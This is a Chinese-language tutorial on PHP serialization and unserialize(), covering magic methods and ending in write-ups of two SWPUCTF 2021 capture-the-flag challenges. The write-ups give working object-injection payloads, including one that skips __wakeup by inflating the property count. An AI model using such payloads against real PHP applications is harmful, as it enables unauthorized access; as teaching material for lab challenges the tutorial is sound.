目錄
一、PHP序列化:serialize()
1.對象序列化
2.pop鏈序列化
3.數組序列化
二、反序列化:unserialize()
三、魔術方法
?四、NSSCTF相關簡單題目
1.[SWPUCTF 2021 新生賽]ez_unserialize
2.[SWPUCTF 2021 新生賽]no_wakeup
學習參考:
PHP反序列化新手入門學習總結_php反序列化
php反序列化漏洞
一、PHP序列化:serialize()
序列化:是將變量或對象轉換成字符串的過程
用于存儲或傳遞 PHP 的值的過程中,同時不丟失其類型和結構。
php序列化的字母標識:a - 數組 (Array): 一種數據結構,可以存儲多個相同類型的元素。
b - 布爾型 (Boolean): 一種數據類型,只有兩個可能的值:true 或 false。
d - 雙精度浮點數 (Double): 一種數據類型,用于存儲雙精度浮點數值。
i - 整型 (Integer): 一種數據類型,用于存儲整數值。
o - 普通對象 (Common Object): 一個通用的對象類型,它可以是任何類的實例。
r - 引用 (Reference): 指向對象的引用,而不是對象本身。
s - 字符串 (String): 一種數據類型,用于存儲文本數據。
C - 自定義對象 (Custom Object): 指由開發者定義的特定類的實例。
O - 類 (Class): 在面向對象編程中,類是一種藍圖或模板,用于創建對象。
N - 空 (Null): 在許多編程語言中,null 表示一個不指向任何對象的特殊值。
R - 指針引用 (Pointer Reference): 一個指針變量,其值為另一個變量的地址。
U - 統一碼字符串 (Unicode String): 一種數據類型,用于存儲包含各種字符編碼的文本數據。
各類型值的serialize序列化:空字符 null -> N;
整型 123 -> i:123;
浮點型 1.5 -> d:1.5;
boolean型 true -> b:1;
boolean型 fal -> b:0;
字符串 “haha” -> s:4:"haha";
1.對象序列化
<?php
class test //定義一個test類
{public $test1="ll"; //public是訪問修飾符protected $test2="hh";private $test3="nn";
}
$a=new test();
echo serialize($a);
?>//輸出 O:4:"test":3:{s:5:"test1";s:2:"ll";s:8:" * test2";s:2:"hh";s:11:" test test3";s:2:"nn";}Public(公有):被序列化時屬性值為:屬性名
Protected(受保護):被序列化時屬性值為:\x00*\x00屬性名
Private(私有):被序列化時屬性值為:\x00類名\x00屬性名
//大寫字母O表示對象,4是類名長度,test為類名,表示該類有3個成員屬性
//類中變量的個數3:{類型:長度:“值”;類型:長度:“值”…以此類推}
protected 和private輸出時有不可打印字符,如下圖。
故類在寫payload時通常會使用urlencode()函數編碼。
2.pop鏈序列化
<?php
class test1
{public $a="ll";public $b=true;public $c=123;
}
class test2
{public $d;public $h="hhh";
}$m=new test1();
$n=new test2();
$n->f=$m;
echo serialize($n);
?>//輸出(m的值嵌套在n中)
O:5:"test2":3:{s:1:"d";N;s:1:"h";s:3:"hhh";s:1:"f";O:5:"test1":3:{s:1:"a";s:2:"ll";s:1:"b";b:1;s:1:"c";i:123;}}
3.數組序列化
<?php
$a=array("ll",123,true);
echo serialize($a);
?>//輸出
a:3:{i:0;s:2:"ll";i:1;i:123;i:2;b:1;}
//a表示這是一個數組的序列化,成員屬性名為數組的下標,格式 {i:數組下標;類型:長度:“值”; 以此類推}
二、反序列化:unserialize()
反序列化是:將字符串轉換成變量或對象的過程
反序列化的結果不能用echo函數,只能用print_r(),var_dump()
<?php
class test
{public $test1="ll";public $test2=123;
}$a=new test();
$b=serialize($a);
print_r(unserialize($b));$c='O:4:"test":2:{s:1:"a";s:3:"666";s:1:"b";i:6666;}';
var_dump(unserialize($c));
?>
//輸出
test Object
([test1] => ll[test2] => 123
)object(test)#2 (4) {["test1"]=>string(2) "ll"["test2"]=>int(123)["a"]=>string(3) "666"["b"]=>int(6666)
}
三、魔術方法
魔術方法是一個預定好的、在特定情況下自動觸發的行為方法
__construct() //類的構造函數,創建對象時觸發
__destruct() //類的析構函數,對象被銷毀時觸發
__call() //調用對象不可訪問、不存在的方法時觸發
__callStatic() //在靜態上下文中調用不可訪問的方法時觸發
__get() //調用不可訪問、不存在的對象成員屬性時觸發
__set() //在給不可訪問、不存在的對象成員屬性賦值時觸發
__isset() //當對不可訪問屬性調用isset()或empty()時觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__invoke() //把對象當初函數調用時觸發
__sleep() //執行serialize()時,先會調用這個方法
__wakeup() //執行unserialize()時,先會調用這個方法
__toString() //把對象當成字符串調用時觸發
__clone() //使用clone關鍵字拷貝完一個對象后觸發
... ...
1.對象被創建時觸發__construct()方法,對象使用完被銷毀時觸發__destruct()方法
2.對象被序列化時觸發了__sleep(),字符串被反序列化時觸發了__wakeup()
3.echo $a 把對象當成字符串輸出觸發了__toString()
?? $a() 把對象當成函數執行觸發了__invoke()
4.$a->h()調用了不存在的方法觸發了__call()方法
四、NSSCTF相關簡單題目
1.[SWPUCTF 2021 新生賽]ez_unserialize
打開環境只有一個表情包
查看源代碼發現Disallow(禁止抓取),使用robots.txt協議查看,發現/cl45s.php目錄
訪問得到環境代碼
<?php
error_reporting(0);
show_source("cl45s.php"); // 顯示文件 cl45s.php 的源代碼class wllm { // 定義一個名為 wllm 的類 public $admin; // 公共屬性 adminpublic $passwd; // 公共屬性 passwdpublic function __construct() { // 構造函數,用于初始化對象 $this->admin = "user"; // 初始化 admin 為 "user"$this->passwd = "123456"; // 初始化 passwd 為 "123456"}public function __destruct() { // 析構函數,用于在對象不再被引用時執行清理操作// 檢查 admin 是否為 "admin" 并且 passwd 是否為 "ctf"if ($this->admin === "admin" && $this->passwd === "ctf") { include("flag.php"); echo $flag;} else { echo $this->admin; // 打印 admin 的值 echo $this->passwd; // 打印 passwd 的值 echo "Just a bit more!"; // 打印字符串 "Just a bit more!"}}
}
$p = $_GET['p']; //GET傳參p
unserialize($p); //反序列化p?>
admin=admin,passwd=ctf時得到flag,序列化p。
PHP 在線工具 | 菜鳥工具
構造payload,得到flag
?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
2.[SWPUCTF 2021 新生賽]no_wakeup
打開環境,代碼審計
<?php// 設置HTTP頭信息,指定內容的類型和字符編碼
header("Content-type:text/html;charset=utf-8");// 關閉錯誤報告,不顯示任何錯誤信息
error_reporting(0);// 顯示文件class.php的源代碼
show_source("class.php");// 定義一個名為HaHaHa的類
class HaHaHa{// 兩個公共屬性:admin和passwdpublic $admin;public $passwd;// 構造函數,當創建新對象時自動調用public function __construct(){// 初始化admin為"user",passwd為"123456"$this->admin ="user";$this->passwd = "123456";}// __wakeup魔術方法,當對象被反序列化時自動調用public function __wakeup(){// 將passwd加密為sha1哈希值$this->passwd = sha1($this->passwd);}// __destruct魔術方法,當對象被銷毀時自動調用public function __destruct(){// 檢查admin是否等于"admin"且passwd是否等于"wllm"if($this->admin === "admin" && $this->passwd === "wllm"){// 如果條件滿足,引入flag.php文件,并輸出變量$flag的值include("flag.php");echo $flag;}else{// 如果條件不滿足,輸出經過sha1加密的passwd值和"No wake up"字符串echo $this->passwd;echo "No wake up";}}
}// 通過GET請求獲取參數p的值,并將其作為反序列化的輸入
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?>
admin=admin,passwd=wllm得到flag,序列化p
<?php
class HaHaHa{public $admin="admin";public $passwd="wllm";
}
$p=new HaHaHa();
echo serialize($p);
?>
但其中多了一個
__wakeup
的魔術方法__wakeup函數漏洞原理:當序列化字符串表示對象屬性個數的值 大于 真實個數的屬性時就會跳過__wakeup的執行
故構造一個大于2對象的payload,得到flag
?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}